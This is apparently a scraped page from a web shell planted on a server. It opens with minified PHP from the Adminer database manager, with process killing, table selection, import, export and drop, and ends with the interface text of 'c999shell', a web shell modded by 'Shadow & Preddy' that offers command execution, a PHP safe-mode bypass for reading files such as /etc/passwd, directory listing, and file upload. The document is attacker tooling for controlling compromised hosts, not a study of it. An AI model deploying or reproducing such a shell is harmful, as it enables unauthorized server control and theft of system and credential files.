=="All privileges"?" id=
'grants-$s-all'":($ze=="
Grant option"?"":" oncli
ck=\"if (this.checked) f
ormUncheck('grants-$s-al
l');\""))."></label>";$s
++;}}}echo"</table>\n",'
<p> <input type="submit"
 value="Save"> ';if(isse
t($_GET["host"])){echo'<
input type="submit" name
="drop" value="Drop"',co
nfirm(),'>';}echo'<input
 type="hidden" name="tok
en" value="',$T,'"> </fo
rm> ';}elseif(isset($_GE
T["processlist"])){if(su
pport("kill")&&$_POST&&!
$l){$Wc=0;foreach((array
)$_POST["kill"]as$X){if(
queries("KILL ".(+$X)))$
Wc++;}queries_redirect(M
E."processlist=",lang(ar
ray('%d process has been
 killed.','%d processes 
have been killed.'),$Wc)
,$Wc||!$_POST["kill"]);}
page_header('Process lis
t',$l);echo' <form actio
n="" method="post"> <tab
le cellspacing="0" oncli
ck="tableClick(event);" 
ondblclick="tableClick(e
vent, true);" class="now
rap checkable"> ';$s=-1;
foreach(process_list()as
$s=>$L){if(!$s){echo"<th
ead><tr lang='en'>".(sup
port("kill")?"<th>&nbsp;
":"");foreach($L as$y=>$
X)echo"<th>".($x=="sql"?
"<a href='http://dev.mys
ql.com/doc/refman/".subs
tr($g->server_info,0,3).
"/en/show-processlist.ht
ml#processlist_".strtolo
wer($y)."' target='_blan
k' rel='noreferrer' clas
s='help'>$y</a>":$y);ech
o"</thead>\n";}echo"<tr"
.odd().">".(support("kil
l")?"<td>".checkbox("kil
l[]",$L["Id"],0):"");for
each($L as$y=>$X)echo"<t
d>".(($x=="sql"&&$y=="In
fo"&&ereg("Query|Killed"
,$L["Command"])&&$X!="")
||($x=="pgsql"&&$y=="cur
rent_query"&&$X!="<IDLE>
")||($x=="oracle"&&$y=="
sql_text"&&$X!="")?"<cod
e class='jush-$x'>".shor
ten_utf8($X,100,"</code>
").' <a href="'.h(ME.($L
["db"]!=""?"db=".urlenco
de($L["db"])."&":"")."sq
l=".urlencode($X)).'">'.
'Clone'.'</a>':nbsp($X))
;echo"\n";}echo'</table>
 <script type=\'text/jav
ascript\'>tableCheck();<
/script> <p> ';if(suppor
t("kill")){echo($s+1)."/
".sprintf('%d in total',
$g->result("SELECT @@max
_connections")),"<p><inp
ut type='submit' value='
".'Kill'."'>\n";}echo'<i
nput type="hidden" name=
"token" value="',$T,'"> 
</form> ';}elseif(isset(
$_GET["select"])){$a=$_G
ET["select"];$R=table_st
atus1($a);$v=indexes($a)
;$n=fields($a);$p=column
_foreign_keys($a);$Id=""
;if($R["Oid"]){$Id=($x==
"sqlite"?"rowid":"oid");
$v[]=array("type"=>"PRIM
ARY","columns"=>array($I
d));}parse_str($_COOKIE[
"adminer_import"],$la);$
Te=array();$f=array();$J
f=null;foreach($n as$y=>
$m){$E=$b->fieldName($m)
;if(isset($m["privileges
"]["select"])&&$E!=""){$
f[$y]=html_entity_decode
(strip_tags($E),ENT_QUOT
ES);if(is_shortable($m))
$Jf=$b->selectLengthProc
ess();}$Te+=$m["privileg
es"];}list($N,$xc)=$b->s
electColumnsProcess($f,$
v);$Pc=count($xc)<count(
$N);$Z=$b->selectSearchP
rocess($n,$v);$Vd=$b->se
lectOrderProcess($n,$v);
$z=$b->selectLimitProces
s();$sc=($N?implode(", "
,$N):"*".($Id?", $Id":""
)).convert_fields($f,$n,
$N)."\nFROM ".table($a);
$yc=($xc&&$Pc?"\nGROUP B
Y ".implode(", ",$xc):""
).($Vd?"\nORDER BY ".imp
lode(", ",$Vd):"");if($_
GET["val"]&&is_ajax()){h
eader("Content-Type: tex
t/plain; charset=utf-8")
;foreach($_GET["val"]as$
gg=>$L){$sa=convert_fiel
d($n[key($L)]);echo$g->r
esult("SELECT".limit($sa
?$sa:idf_escape(key($L))
." FROM ".table($a)," WH
ERE ".where_check($gg,$n
).($Z?" AND ".implode(" 
AND ",$Z):"").($Vd?" ORD
ER BY ".implode(", ",$Vd
):""),1));}exit;}if($_PO
ST&&!$l){$wg=$Z;if(is_ar
ray($_POST["check"]))$wg
[]="((".implode(") OR ("
,array_map('where_check'
,$_POST["check"]))."))";
$wg=($wg?"\nWHERE ".impl
ode(" AND ",$wg):"");$we
=$ig=null;foreach($v as$
u){if($u["type"]=="PRIMA
RY"){$we=array_flip($u["
columns"]);$ig=($N?$we:a
rray());break;}}foreach(
(array)$ig as$y=>$X){if(
in_array(idf_escape($y),
$N))unset($ig[$y]);}if($
_POST["export"]){cookie(
"adminer_import","output
=".urlencode($_POST["out
put"])."&format=".urlenc
ode($_POST["format"]));d
ump_headers($a);$b->dump
Table($a,"");if(!is_arra
y($_POST["check"])||$ig=
==array())$I="SELECT $sc
$wg$yc";else{$eg=array()
;foreach($_POST["check"]
as$X)$eg[]="(SELECT".lim
it($sc,"\nWHERE ".($Z?im
plode(" AND ",$Z)." AND 
":"").where_check($X,$n)
.$yc,1).")";$I=implode("
 UNION ALL ",$eg);}$b->d
umpData($a,"table",$I);e
xit;}if(!$b->selectEmail
Process($Z,$p)){if($_POS
T["save"]||$_POST["delet
e"]){$J=true;$ma=0;$I=ta
ble($a);$P=array();if(!$
_POST["delete"]){foreach
($f as$E=>$X){$X=process
_input($n[$E]);if($X!==n
ull){if($_POST["clone"])
$P[idf_escape($E)]=($X!=
=false?$X:idf_escape($E)
);elseif($X!==false)$P[]
=idf_escape($E)." = $X";
}}$I.=($_POST["clone"]?"
 (".implode(", ",array_k
eys($P)).")\nSELECT ".im
plode(", ",$P)."\nFROM "
.table($a):" SET\n".impl
ode(",\n",$P));}if($_POS
T["delete"]||$P){$Ta="UP
DATE";if($_POST["delete"
]){$Ta="DELETE";$I="FROM
 $I";}if($_POST["clone"]
){$Ta="INSERT";$I="INTO 
$I";}if($_POST["all"]||(
$ig===array()&&is_array(
$_POST["check"]))||$Pc){
$J=queries("$Ta $I$wg");
$ma=$g->affected_rows;}e
lse{foreach((array)$_POS
T["check"]as$X){$J=queri
es($Ta.limit1($I,"\nWHER
E ".($Z?implode(" AND ",
$Z)." AND ":"").where_ch
eck($X,$n)));if(!$J)brea
k;$ma+=$g->affected_rows
;}}}$C=lang(array('%d it
em has been affected.','
%d items have been affec
ted.'),$ma);if($_POST["c
lone"]&&$J&&$ma==1){$ad=
last_id();if($ad)$C=spri
ntf('Item%s has been ins
erted.'," $ad");}queries
_redirect(remove_from_ur
i($_POST["all"]&&$_POST[
"delete"]?"page":""),$C,
$J);}elseif(!$_POST["imp
ort"]){if(!$_POST["val"]
)$l='Ctrl+click on a val
ue to modify it.';else{$
J=true;$ma=0;foreach($_P
OST["val"]as$gg=>$L){$P=
array();foreach($L as$y=
>$X){$y=bracket_escape($
y,1);$P[]=idf_escape($y)
." = ".(ereg('char|text'
,$n[$y]["type"])||$X!=""
?$b->processInput($n[$y]
,$X):"NULL");}$I=table($
a)." SET ".implode(", ",
$P);$vg=" WHERE ".where_
check($gg,$n).($Z?" AND 
".implode(" AND ",$Z):""
);$J=queries("UPDATE".($
Pc||$ig===array()?" $I$v
g":limit1($I,$vg)));if(!
$J)break;$ma+=$g->affect
ed_rows;}queries_redirec
t(remove_from_uri(),lang
(array('%d item has been
 affected.','%d items ha
ve been affected.'),$ma)
,$J);}}elseif(!is_string
($hc=get_file("csv_file"
,true)))$l=upload_error(
$hc);elseif(!preg_match(
'~~u',$hc))$l='File must
 be in UTF-8 encoding.';
else{cookie("adminer_imp
ort","output=".urlencode
($la["output"])."&format
=".urlencode($_POST["sep
arator"]));$J=true;$Sa=a
rray_keys($n);preg_match
_all('~(?>"[^"]*"|[^"\\r
\\n]+)+~',$hc,$ld);$ma=c
ount($ld[0]);begin();$ef
=($_POST["separator"]=="
csv"?",":($_POST["separa
tor"]=="tsv"?"\t":";"));
foreach($ld[0]as$y=>$X){
preg_match_all("~((?>\"[
^\"]*\")+|[^$ef]*)$ef~",
$X.$ef,$md);if(!$y&&!arr
ay_diff($md[1],$Sa)){$Sa
=$md[1];$ma--;}else{$P=a
rray();foreach($md[1]as$
s=>$Pa)$P[idf_escape($Sa
[$s])]=($Pa==""&&$n[$Sa[
$s]]["null"]?"NULL":q(st
r_replace('""','"',preg_
replace('~^"|"$~','',$Pa
))));$J=insert_update($a
,$P,$we);if(!$J)break;}}
if($J)queries("COMMIT");
queries_redirect(remove_
from_uri("page"),lang(ar
ray('%d row has been imp
orted.','%d rows have be
en imported.'),$ma),$J);
queries("ROLLBACK");}}}$
zf=$b->tableName($R);if(
is_ajax())ob_start();pag
e_header('Select'.": $zf
",$l);$P=null;if(isset($
Te["insert"])){$P="";for
each((array)$_GET["where
"]as$X){if(count($p[$X["
col"]])==1&&($X["op"]=="
="||(!$X["op"]&&!ereg('[
_%]',$X["val"]))))$P.="&
set".urlencode("[".brack
et_escape($X["col"])."]"
)."=".urlencode($X["val"
]);}}$b->selectLinks($R,
$P);if(!$f)echo"<p class
='error'>".'Unable to se
lect the table'.($n?".":
": ".error())."\n";else{
echo"<form action='' id=
'form'>\n","<div style='
display: none;'>";hidden
_fields_get();echo(DB!="
"?'<input type="hidden" 
name="db" value="'.h(DB)
.'">'.(isset($_GET["ns"]
)?'<input type="hidden" 
name="ns" value="'.h($_G
ET["ns"]).'">':""):"");e
cho'<input type="hidden"
 name="select" value="'.
h($a).'">',"</div>\n";$b
->selectColumnsPrint($N,
$f);$b->selectSearchPrin
t($Z,$f,$v);$b->selectOr
derPrint($Vd,$f,$v);$b->
selectLimitPrint($z);$b-
>selectLengthPrint($Jf);
$b->selectActionPrint($v
);echo"</form>\n";$F=$_G
ET["page"];if($F=="last"
){$qc=$g->result("SELECT
 COUNT(*) FROM ".table($
a).($Z?" WHERE ".implode
(" AND ",$Z):""));$F=flo
or(max(0,$qc-1)/$z);}$I=
$b->selectQueryBuild($N,
$Z,$xc,$Vd,$z,$F);if(!$I
)$I="SELECT".limit((+$z&
&$xc&&$Pc&&$x=="sql"?"SQ
L_CALC_FOUND_ROWS ":"").
$sc,($Z?"\nWHERE ".implo
de(" AND ",$Z):"").$yc,(
$z!=""?+$z:null),($F?$z*
$F:0),"\n");echo$b->sele
ctQuery($I);$J=$g->query
($I);if(!$J)echo"<p clas
s='error'>".error()."\n"
;else{if($x=="mssql"&&$F
)$J->seek($z*$F);$Kb=arr
ay();echo"<form action='
' method='post' enctype=
'multipart/form-data'>\n
";$M=array();while($L=$J
->fetch_assoc()){if($F&&
$x=="oracle")unset($L["R
NUM"]);$M[]=$L;}if($_GET
["page"]!="last")$qc=(+$
z&&$xc&&$Pc?($x=="sql"?$
g->result(" SELECT FOUND
_ROWS()"):$g->result("SE
LECT COUNT(*) FROM ($I) 
x")):count($M));if(!$M)e
cho"<p class='message'>"
.'No rows.'."\n";else{$z
a=$b->backwardKeys($a,$z
f);echo"<table id='table
' cellspacing='0' class=
'nowrap checkable' oncli
ck='tableClick(event);' 
ondblclick='tableClick(e
vent, true);' onkeydown=
'return editingKeydown(e
vent);'>\n","<thead><tr>
".(!$xc&&$N?"":"<td><inp
ut type='checkbox' id='a
ll-page' onclick='formCh
eck(this, /check/);'> <a
 href='".h($_GET["modify
"]?remove_from_uri("modi
fy"):$_SERVER["REQUEST_U
RI"]."&modify=1")."'>".'
edit'."</a>");$Ad=array(
);$vc=array();reset($N);
$Fe=1;foreach($M[0]as$y=
>$X){if($y!=$Id){$X=$_GE
T["columns"][key($N)];$m
=$n[$N?($X?$X["col"]:cur
rent($N)):$y];$E=($m?$b-
>fieldName($m,$Fe):"*");
if($E!=""){$Fe++;$Ad[$y]
=$E;$e=idf_escape($y);$E
c=remove_from_uri('(orde
r|desc)[^=]*|page').'&or
der%5B0%5D='.urlencode($
y);$rb="&desc%5B0%5D=1";
echo'<th onmouseover="co
lumnMouse(this);" onmous
eout="columnMouse(this, 
\' hidden\');">','<a hre
f="'.h($Ec.($Vd[0]==$e||
$Vd[0]==$y||(!$Vd&&$Pc&&
$xc[0]==$e)?$rb:'')).'">
';echo(!$N||$X?apply_sql
_function($X["fun"],$E):
h(current($N)))."</a>";e
cho"<span class='column 
hidden'>","<a href='".h(
$Ec.$rb)."' title='".'de
scending'."' class='text
'> ↓</a>";if(!$X["fun"
])echo'<a href="#fieldse
t-search" onclick="selec
tSearch(\''.h(js_escape(
$y)).'\'); return false;
" title="'.'Search'.'" c
lass="text jsonly"> =</a
>';echo"</span>";}$vc[$y
]=$X["fun"];next($N);}}$
gd=array();if($_GET["mod
ify"]){foreach($M as$L){
foreach($L as$y=>$X)$gd[
$y]=max($gd[$y],min(40,s
trlen(utf8_decode($X))))
;}}echo($za?"<th>".'Rela
tions':"")."</thead>\n";
if(is_ajax()){if($z%2==1
&&$F%2==1)odd();ob_end_c
lean();}foreach($b->rowD
escriptions($M,$p)as$D=>
$L){$fg=unique_array($M[
$D],$v);if(!$fg){$fg=arr
ay();foreach($M[$D]as$y=
>$X){if(!preg_match('~^(
COUNT\\((\\*|(DISTINCT )
?`(?:[^`]|``)+`)\\)|(AVG
|GROUP_CONCAT|MAX|MIN|SU
M)\\(`(?:[^`]|``)+`\\))$
~',$y))$fg[$y]=$X;}}$gg=
"";foreach($fg as$y=>$X)
{if(strlen($X)>64){$y="M
D5(".(strpos($y,'(')?$y:
idf_escape($y)).")";$X=m
d5($X);}$gg.="&".($X!==n
ull?urlencode("where[".b
racket_escape($y)."]")."
=".urlencode($X):"null%5
B%5D=".urlencode($y));}e
cho"<tr".odd().">".(!$xc
&&$N?"":"<td>".checkbox(
"check[]",substr($gg,1),
in_array(substr($gg,1),(
array)$_POST["check"]),"
","this.form['all'].chec
ked = false; formUncheck
('all-page');").($Pc||in
formation_schema(DB)?"":
" <a href='".h(ME."edit=
".urlencode($a).$gg)."'>
".'edit'."</a>"));foreac
h($L as$y=>$X){if(isset(
$Ad[$y])){$m=$n[$y];if($
X!=""&&(!isset($Kb[$y])|
|$Kb[$y]!=""))$Kb[$y]=(i
s_mail($X)?$Ad[$y]:"");$
_="";$X=$b->editVal($X,$
m);if($X!==null){if(ereg
('blob|bytea|raw|file',$
m["type"])&&$X!="")$_=ME
.'download='.urlencode($
a).'&field='.urlencode($
y).$gg;if($X==="")$X="&n
bsp;";elseif($Jf!=""&&is
_shortable($m))$X=shorte
n_utf8($X,max(0,+$Jf));e
lse$X=h($X);if(!$_){fore
ach((array)$p[$y]as$o){i
f(count($p[$y])==1||end(
$o["source"])==$y){$_=""
;foreach($o["source"]as$
s=>$jf)$_.=where_link($s
,$o["target"][$s],$M[$D]
[$jf]);$_=($o["db"]!=""?
preg_replace('~([?&]db=)
[^&]+~','\\1'.urlencode(
$o["db"]),ME):ME).'selec
t='.urlencode($o["table"
]).$_;if(count($o["sourc
e"])==1)break;}}}if($y==
"COUNT(*)"){$_=ME."selec
t=".urlencode($a);$s=0;f
oreach((array)$_GET["whe
re"]as$W){if(!array_key_
exists($W["col"],$fg))$_
.=where_link($s++,$W["co
l"],$W["val"],$W["op"]);
}foreach($fg as$Tc=>$W)$
_.=where_link($s++,$Tc,$
W);}}if(!$_&&($_=$b->sel
ectLink($L[$y],$m))===nu
ll){if(is_mail($L[$y]))$
_="mailto:$L[$y]";if($Ce
=is_url($L[$y]))$_=($Ce=
="http"&&$ba?$L[$y]:"$Ce
://www.adminer.org/redir
ect/?url=".urlencode($L[
$y]));}$t=h("val[$gg][".
bracket_escape($y)."]");
$Y=$_POST["val"][$gg][br
acket_escape($y)];$_c=h(
$Y!==null?$Y:$L[$y]);$kd
=strpos($X,"<i>...</i>")
;$Gb=is_utf8($X)&&$M[$D]
[$y]==$L[$y]&&!$vc[$y];$
If=ereg('text|lob',$m["t
ype"]);echo(($_GET["modi
fy"]&&$Gb)||$Y!==null?"<
td>".($If?"<textarea nam
e='$t' cols='30' rows='"
.(substr_count($L[$y],"\
n")+1)."'>$_c</textarea>
":"<input name='$t' valu
e='$_c' size='$gd[$y]'>"
):"<td id='$t' onclick=\
"selectClick(this, event
, ".($kd?2:($If?1:0)).($
Gb?"":", '".h('Use edit 
link to modify this valu
e.')."'").");\">".$b->se
lectVal($X,$_,$m));}}if(
$za)echo"<td>";$b->backw
ardKeysPrint($za,$M[$D])
;echo"</tr>\n";}if(is_aj
ax())exit;echo"</table>\
n",(!$xc&&$N?"":"<script
 type='text/javascript'>
tableCheck();</script>\n
");}if(($M||$F)&&!is_aja
x()){$Ub=true;if($_GET["
page"]!="last"&&+$z&&!$P
c&&($qc>=$z||$F)){$qc=fo
und_rows($R,$Z);if($qc<m
ax(1e4,2*($F+1)*$z))$qc=
reset(slow_query("SELECT
 COUNT(*) FROM ".table($
a).($Z?" WHERE ".implode
(" AND ",$Z):"")));else$
Ub=false;}if(+$z&&($qc==
=false||$qc>$z||$F)){ech
o"<p class='pages'>";$od
=($qc===false?$F+(count(
$M)>=$z?2:1):floor(($qc-
1)/$z));echo'<a href="'.
h(remove_from_uri("page"
))."\" onclick=\"pageCli
ck(this.href, +prompt('"
.'Page'."', '".($F+1)."'
), event); return false;
\">".'Page'."</a>:",pagi
nation(0,$F).($F>5?" ...
":"");for($s=max(1,$F-4)
;$s<min($od,$F+5);$s++)e
cho pagination($s,$F);if
($od>0){echo($F+5<$od?" 
...":""),($Ub&&$qc!==fal
se?pagination($od,$F):" 
<a href='".h(remove_from
_uri("page")."&page=last
")."' title='~$od'>".'la
st'."</a>");}echo(($qc==
=false?count($M)+1:$qc-$
F*$z)>$z?' <a href="'.h(
remove_from_uri("page").
"&page=".($F+1)).'" oncl
ick="return !selectLoadM
ore(this, '.(+$z).', \''
.'Loading'.'\');">'.'Loa
d more data'.'</a>':'');
}echo"<p>\n",($qc!==fals
e?"(".($Ub?"":"~ ").lang
(array('%d row','%d rows
'),$qc).") ":""),checkbo
x("all",1,0,'whole resul
t')."\n";if($b->selectCo
mmandPrint()){echo'<fiel
dset><legend>Edit</legen
d><div> <input type="sub
mit" value="Save"',($_GE
T["modify"]?'':' title="
'.'Ctrl+click on a value
 to modify it.'.'" class
="jsonly"');?>> <input t
ype="submit" name="edit"
 value="Edit"> <input ty
pe="submit" name="clone"
 value="Clone"> <input t
ype="submit" name="delet
e" value="Delete" onclic
k="return confirm('Are y
ou sure? (' + (this.form
['all'].checked ? <?php 
echo$qc,' : formChecked(
this, /check/)) + \')\')
;"> </div></fieldset> ';
}$oc=$b->dumpFormat();fo
reach((array)$_GET["colu
mns"]as$e){if($e["fun"])
{unset($oc['sql']);break
;}}if($oc){print_fieldse
t("export",'Export');$de
=$b->dumpOutput();echo($
de?html_select("output",
$de,$la["output"])." ":"
"),html_select("format",
$oc,$la["format"])," <in
put type='submit' name='
export' value='".'Export
'."'>\n","</div></fields
et>\n";}}if($b->selectIm
portPrint()){print_field
set("import",'Import',!$
M);echo"<input type='fil
e' name='csv_file'> ",ht
ml_select("separator",ar
ray("csv"=>"CSV,","csv;"
=>"CSV;","tsv"=>"TSV"),$
la["format"],1);echo" <i
nput type='submit' name=
'import' value='".'Impor
t'."'>","</div></fieldse
t>\n";}$b->selectEmailPr
int(array_filter($Kb,'st
rlen'),$f);echo"<p><inpu
t type='hidden' name='to
ken' value='$T'></p>\n",
"</form>\n";}}if(is_ajax
()){ob_end_clean();exit;
}}elseif(isset($_GET["va
riables"])){$nf=isset($_
GET["status"]);page_head
er($nf?'Status':'Variabl
es');$qg=($nf?show_statu
s():show_variables());if
(!$qg)echo"<p class='mes
sage'>".'No rows.'."\n";
else{echo"<table cellspa
cing='0'>\n";foreach($qg
 as$y=>$X){echo"<tr>","<
th><code class='jush-".$
x.($nf?"status":"set")."
'>".h($y)."</code>","<td
>".nbsp($X);}echo"</tabl
e>\n";}}elseif(isset($_G
ET["script"])){header("C
ontent-Type: text/javasc
ript; charset=utf-8");if
($_GET["script"]=="db"){
$wf=array("Data_length"=
>0,"Index_length"=>0,"Da
ta_free"=>0);foreach(tab
le_status()as$E=>$R){$t=
js_escape($E);json_row("
Comment-$t",nbsp($R["Com
ment"]));if(!is_view($R)
){foreach(array("Engine"
,"Collation")as$y)json_r
ow("$y-$t",nbsp($R[$y]))
;foreach($wf+array("Auto
_increment"=>0,"Rows"=>0
)as$y=>$X){if($R[$y]!=""
){$X=number_format($R[$y
],0,'.',',');json_row("$
y-$t",($y=="Rows"&&$X&&$
R["Engine"]==($lf=="pgsq
l"?"table":"InnoDB")?"~ 
$X":$X));if(isset($wf[$y
]))$wf[$y]+=($R["Engine"
]!="InnoDB"||$y!="Data_f
ree"?$R[$y]:0);}elseif(a
rray_key_exists($y,$R))j
son_row("$y-$t");}}}fore
ach($wf as$y=>$X)json_ro
w("sum-$y",number_format
($X,0,'.',','));json_row
("");}elseif($_GET["scri
pt"]=="kill")$g->query("
KILL ".(+$_POST["kill"])
);else{foreach(count_tab
les($b->databases())as$k
=>$X)json_row("tables-".
js_escape($k),$X);json_r
ow("");}exit;}else{$Df=a
rray_merge((array)$_POST
["tables"],(array)$_POST
["views"]);if($Df&&!$l&&
!$_POST["search"]){$J=tr
ue;$C="";if($x=="sql"&&c
ount($_POST["tables"])>1
&&($_POST["drop"]||$_POS
T["truncate"]||$_POST["c
opy"]))queries("SET fore
ign_key_checks = 0");if(
$_POST["truncate"]){if($
_POST["tables"])$J=trunc
ate_tables($_POST["table
s"]);$C='Tables have bee
n truncated.';}elseif($_
POST["move"]){$J=move_ta
bles((array)$_POST["tabl
es"],(array)$_POST["view
s"],$_POST["target"]);$C
='Tables have been moved
.';}elseif($_POST["copy"
]){$J=copy_tables((array
)$_POST["tables"],(array
)$_POST["views"],$_POST[
"target"]);$C='Tables ha
ve been copied.';}elseif
($_POST["drop"]){if($_PO
ST["views"])$J=drop_view
s($_POST["views"]);if($J
&&$_POST["tables"])$J=dr
op_tables($_POST["tables
"]);$C='Tables have been
 dropped.';}elseif($x!="
sql"){$J=($x=="sqlite"?q
ueries("VACUUM"):apply_q
ueries("VACUUM".($_POST[
"optimize"]?"":" ANALYZE
"),$_POST["tables"]));$C
='Tables have been optim
ized.';}elseif(!$_POST["
tables"])$C='No tables.'
;elseif($J=queries(($_PO
ST["optimize"]?"OPTIMIZE
":($_POST["check"]?"CHEC
K":($_POST["repair"]?"RE
PAIR":"ANALYZE")))." TAB
LE ".implode(", ",array_
map('idf_escape',$_POST[
"tables"])))){while($L=$
J->fetch_assoc())$C.="<b
>".h($L["Table"])."</b>:
 ".h($L["Msg_text"])."<b
r>";}queries_redirect(su
bstr(ME,0,-1),$C,$J);}pa
ge_header(($_GET["ns"]==
""?'Database'.": ".h(DB)
:'Schema'.": ".h($_GET["
ns"])),$l,true);if($b->h
omepage()){if($_GET["ns"
]!==""){echo"<h3 id='tab
les-views'>".'Tables and
 views'."</h3>\n";$Cf=ta
bles_list();if(!$Cf)echo
"<p class='message'>".'N
o tables.'."\n";else{ech
o"<form action='' method
='post'>\n","<p>".'Searc
h data in tables'.": <in
put type='search' name='
query' value='".h($_POST
["query"])."'> <input ty
pe='submit' name='search
' value='".'Search'."'>\
n";if($_POST["search"]&&
$_POST["query"]!="")sear
ch_tables();echo"<table 
cellspacing='0' class='n
owrap checkable' onclick
='tableClick(event);' on
dblclick='tableClick(eve
nt, true);'>\n",'<thead>
<tr class="wrap"><td><in
put id="check-all" type=
"checkbox" onclick="form
Check(this, /^(tables|vi
ews)\[/);">','<th>'.'Tab
le','<td>'.'Engine','<td
>'.'Collation','<td>'.'D
ata Length','<td>'.'Inde
x Length','<td>'.'Data F
ree','<td>'.'Auto Increm
ent','<td>'.'Rows',(supp
ort("comment")?'<td>'.'C
omment':''),"</thead>\n"
;foreach($Cf as$E=>$U){$
rg=($U!==null&&!eregi("t
able",$U));echo'<tr'.odd
().'><td>'.checkbox(($rg
?"views[]":"tables[]"),$
E,in_array($E,$Df,true),
"","formUncheck('check-a
ll');"),'<th><a href="'.
h(ME).'table='.urlencode
($E).'" title="'.'Show s
tructure'.'">'.h($E).'</
a>';if($rg){echo'<td col
span="6"><a href="'.h(ME
)."view=".urlencode($E).
'" title="'.'Alter view'
.'">'.'View'.'</a>','<td
 align="right"><a href="
'.h(ME)."select=".urlenc
ode($E).'" title="'.'Sel
ect data'.'">?</a>';}els
e{foreach(array("Engine"
=>array(),"Collation"=>a
rray(),"Data_length"=>ar
ray("create",'Alter tabl
e'),"Index_length"=>arra
y("indexes",'Alter index
es'),"Data_free"=>array(
"edit",'New item'),"Auto
_increment"=>array("auto
_increment=1&create",'Al
ter table'),"Rows"=>arra
y("select",'Select data'
),)as$y=>$_)echo($_?"<td
 align='right'><a href='
".h(ME."$_[0]=").urlenco
de($E)."' id='$y-".h($E)
."' title='$_[1]'>?</a>"
:"<td id='$y-".h($E)."'>
&nbsp;");}echo(support("
comment")?"<td id='Comme
nt-".h($E)."'>&nbsp;":""
);}echo"<tr><td>&nbsp;<t
h>".sprintf('%d in total
',count($Cf)),"<td>".nbs
p($x=="sql"?$g->result("
SELECT @@storage_engine"
):""),"<td>".nbsp(db_col
lation(DB,collations()))
;foreach(array("Data_len
gth","Index_length","Dat
a_free")as$y)echo"<td al
ign='right' id='sum-$y'>
&nbsp;";echo"</table>\n"
,"<script type='text/jav
ascript'>tableCheck();</
script>\n";if(!informati
on_schema(DB)){echo"<p>"
.(ereg('^(sql|sqlite|pgs
ql)$',$x)?($x!="sqlite"?
"<input type='submit' va
lue='".'Analyze'."'> ":"
")."<input type='submit'
 name='optimize' value='
".'Optimize'."'> ":"").(
$x=="sql"?"<input type='
submit' name='check' val
ue='".'Check'."'> <input
 type='submit' name='rep
air' value='".'Repair'."
'> ":"")."<input type='s
ubmit' name='truncate' v
alue='".'Truncate'."'".c
onfirm("formChecked(this
, /tables/)")."> <input 
type='submit' name='drop
' value='".'Drop'."'".co
nfirm("formChecked(this,
 /tables|views/)").">\n"
;$j=(support("scheme")?s
chemas():$b->databases()
);if(count($j)!=1&&$x!="
sqlite"){$k=(isset($_POS
T["target"])?$_POST["tar
get"]:(support("scheme")
?$_GET["ns"]:DB));echo"<
p>".'Move to other datab
ase'.": ",($j?html_selec
t("target",$j,$k):'<inpu
t name="target" value="'
.h($k).'" autocapitalize
="off">')," <input type=
'submit' name='move' val
ue='".'Move'."'>",(suppo
rt("copy")?" <input type
='submit' name='copy' va
lue='".'Copy'."'>":""),"
\n";}echo"<input type='h
idden' name='token' valu
e='$T'>\n";}echo"</form>
\n";}echo'<p><a href="'.
h(ME).'create=">'.'Creat
e table'."</a>\n";if(sup
port("view"))echo'<a hre
f="'.h(ME).'view=">'.'Cr
eate view'."</a>\n";if(s
upport("routine")){echo"
<h3 id='routines'>".'Rou
tines'."</h3>\n";$Xe=rou
tines();if($Xe){echo"<ta
ble cellspacing='0'>\n",
'<thead><tr><th>'.'Name'
.'<td>'.'Type'.'<td>'.'R
eturn type'."<td>&nbsp;<
/thead>\n";odd('');forea
ch($Xe as$L){echo'<tr'.o
dd().'>','<th><a href="'
.h(ME).($L["ROUTINE_TYPE
"]!="PROCEDURE"?'callf='
:'call=').urlencode($L["
ROUTINE_NAME"]).'">'.h($
L["ROUTINE_NAME"]).'</a>
','<td>'.h($L["ROUTINE_T
YPE"]),'<td>'.h($L["DTD_
IDENTIFIER"]),'<td><a hr
ef="'.h(ME).($L["ROUTINE
_TYPE"]!="PROCEDURE"?'fu
nction=':'procedure=').u
rlencode($L["ROUTINE_NAM
E"]).'">'.'Alter'."</a>"
;}echo"</table>\n";}echo
'<p>'.(support("procedur
e")?'<a href="'.h(ME).'p
rocedure=">'.'Create pro
cedure'.'</a> ':'').'<a 
href="'.h(ME).'function=
">'.'Create function'."<
/a>\n";}if(support("even
t")){echo"<h3 id='events
'>".'Events'."</h3>\n";$
M=get_rows("SHOW EVENTS"
);if($M){echo"<table cel
lspacing='0'>\n","<thead
><tr><th>".'Name'."<td>"
.'Schedule'."<td>".'Star
t'."<td>".'End'."<td></t
head>\n";foreach($M as$L
){echo"<tr>","<th>".h($L
["Name"]),"<td>".($L["Ex
ecute at"]?'At given tim
e'."<td>".$L["Execute at
"]:'Every'." ".$L["Inter
val value"]." ".$L["Inte
rval field"]."<td>$L[Sta
rts]"),"<td>$L[Ends]",'<
td><a href="'.h(ME).'eve
nt='.urlencode($L["Name"
]).'">'.'Alter'.'</a>';}
echo"</table>\n";$Tb=$g-
>result("SELECT @@event_
scheduler");if($Tb&&$Tb!
="ON")echo"<p class='err
or'><code class='jush-sq
lset'>event_scheduler</c
ode>: ".h($Tb)."\n";}ech
o'<p><a href="'.h(ME).'e
vent=">'.'Create event'.
"</a>\n";}if($Cf)echo"<s
cript type='text/javascr
ipt'>ajaxSetHtml('".js_e
scape(ME)."script=db');<
/script>\n";}}}page_foot
er();

HEXDUMP: [Full] [Preview]
Base64:
[Encode [+chunk [+chunk+quotes [Decode


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.6479 ]--